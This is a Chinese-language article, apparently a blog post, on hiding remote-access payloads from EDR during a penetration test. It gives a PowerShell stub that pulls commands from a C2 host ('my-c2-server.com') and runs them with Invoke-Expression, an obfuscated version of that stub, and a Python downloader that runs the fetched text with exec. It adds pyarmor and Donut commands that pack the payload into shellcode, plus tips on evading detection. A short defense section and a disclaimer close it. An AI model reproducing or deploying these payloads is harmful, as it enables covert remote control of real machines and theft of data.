一、一次渗透中的意外收获

在一次授权的内部渗透测试项目中,我正通过钓鱼邮件尝试进入目标企业的内网。为了提高载荷的成功率,我构造了一个看似无害的 Excel 宏文档,里面嵌入了一个远控木马的 PowerShell 載荷。初始测试时,虽然载荷可以运行,但目标企业的 EDR(端点检测响应)系统很快就拦截了它。

这次失败让我意识到,仅靠简单的远控木马并不足以绕过现代化的防御系统。于是,我决定研究混淆和加壳技术,希望能让我的载荷逃过检测,同时提高隐匿性。在后续的渗透中,我成功绕过了 EDR,窃取了目标主机上的敏感文件,并实现了持久化控制。接下来,我会详细分享这个过程,包括工具使用、关键代码和我的陷阱设计。

---

二、混淆与加壳的基本概念

混淆和加壳是绕过杀软和 EDR 的核心技术。具体来说:

  • 混淆:通过改变代码结构和可读性,让杀软和安全分析人员难以理解或检测到恶意代码的行为。例如,改变变量名、打乱顺序、使用无意义的代码片段等。
  • 加壳:将恶意代码打包成加密或压缩的形式,只有在运行时才解密执行,从而隐藏恶意代码的真实样貌。

这些技术的目标是让恶意载荷看起来像普通文件,减少被检测到的风险。我的经验是,混淆和加壳的效果直接决定了载荷的隐匿性。

---

三、工具选型:谁才是最佳帮手?

在市场上,很多工具都可以用于混淆和加壳。经过反复试验,我选择了以下几款工具:

1. Python混淆器 pyarmor

Pyarmor 是一个专门用于混淆 Python 脚本的工具,可以加密源码并加入时间限制,非常适合构造免杀的 Python 远控木马。

2. PowerShell脚本混淆器 Invoke-Obfuscation

这个工具是 PowerShell 载荷混淆的神器,可以将简单的命令转换成复杂的字符串和乱码形式,绕过大部分检测。

3. Shellcode加壳工具 Donut

Donut 能将 shellcode 加壳成独立的可执行文件,并支持多种架构和语言,非常高效。

下面是这些工具在实战中的使用方法,我会结合案例详细讲解。

---

四、Payload隐匿的艺术:实战代码分享

1. 构造基础的远控载荷

我先写了一个简单的 PowerShell 載荷,任务是连接我的 C2 服务器并执行命令:

<pre><code class="language-powershell"># 远控木马的基础代码 $addr = &quot;http://my-c2-server.com&quot;; $cmd = Invoke-RestMethod -Uri $addr/cmd.txt; Invoke-Expression $cmd;</code></pre>

这个代码可以直接运行,但它的明文形式很容易被 EDR 检测到。于是,我用 Invoke-Obfuscation 加以混淆。

黑客示意图

---

2. 使用 Invoke-Obfuscation 混淆 PowerShell 脚本

<pre><code class="language-powershell"># 混淆后的远控木马代码 $a = &quot;h&quot; + &quot;tt&quot; + &quot;p://&quot;; $b = &quot;my-c&quot; + &quot;2-server.com&quot;; $cmd = Invoke-RestMethod ($a + $b + &quot;/cmd.txt&quot;); Invoke-Expression ([string]::Format(&quot;{0}&quot;, $cmd));</code></pre>

通过拼接字符串和转换数据类型,这段代码变得非常隐蔽,EDR 很难在运行前判断它的真实意图。

---

3. 使用 pyarmor 加密 Python 脚本

黑客示意图

假如目标主机支持 Python,我会用 pyarmor 对 Python 脚本进行加密操作。以下是一个完整的过程:

原始 Python 脚本:

<pre><code class="language-python">import requests url = &quot;http://my-c2-server.com/cmd.txt&quot; response = requests.get(url) exec(response.text)</code></pre>

使用 pyarmor 加密:

<pre><code class="language-bash"># 使用 pyarmor 对脚本进行加密 pyarmor pack -x &quot; --exclude requests &quot; myremote.py</code></pre>

加密后,生成的文件会包含一个运行时加密模块,源码完全不可读。

---

4. 最终加壳:使用 Donut

为了进一步隐匿,我使用 Donut 将脚本转换成独立的 shellcode:

黑客示意图

<pre><code class="language-bash"># 将脚本转换成 shellcode donut -f 1 -o payload.bin myremote.py</code></pre>

生成的 payload.bin 可以直接注入目标进程,几乎不可能被静态检测发现。

---

五、绕过 EDR 的关键技巧

在实战中,光靠混淆和加壳还不够,我总结了以下几条绕过技巧:

1. 流量伪装

所有的 C2 通信都需要通过 HTTPS 或其他加密通道,避免明文数据被发现。

2. 定时触发

恶意载荷不要一直处于活动状态,可以定时触发或等待外部信号,以降低暴露风险。

3. 多层混淆

针对载荷的每一层代码,都使用不同的混淆方式。例如,PowerShell 和 Python 分别使用专属工具。

---

六、如何检测和防御?

虽然我是从攻击者的角度进行研究,但作为安全研究员,我也会思考如何检测这些隐匿技术。以下是一些检测和防御建议:

1. 行为分析

通过监控进程行为和网络请求,发现异常模式。例如,PowerShell 的自动下载行为就是一个明显的异常。

2. 沙箱技术

用沙箱运行可疑文件,观察其真实行为。加壳的文件在沙箱中可能会暴露其解密过程。

3. 规则更新

EDR 的规则库需要不断更新,以应对新的混淆技术。例如,通过特征发现 Invoke-Obfuscation 的混淆方式。

黑客示意图

---

七、实战中的经验分享

有几次,我的载荷成功绕过了防御,但也有几次失败经历让我印象深刻:

  1. 一次成功的绕过
  2. 我在一个环境中使用了多层混淆和加壳技术,载荷顺利绕过 EDR,获取了目标文件。

  1. 一次失败的教训
  2. 我尝试直接运行未加壳的 payload,结果被 EDR 秒杀。这让我深刻意识到,隐匿是渗透的基础。

最后的建议是:在实际攻防中,不要迷信任何一个工具,混淆、加壳和流量伪装必须结合使用,才能最大化绕过检测的几率。

---

声明:本文仅限授权安全测试和技术研究使用,请勿用于非法用途。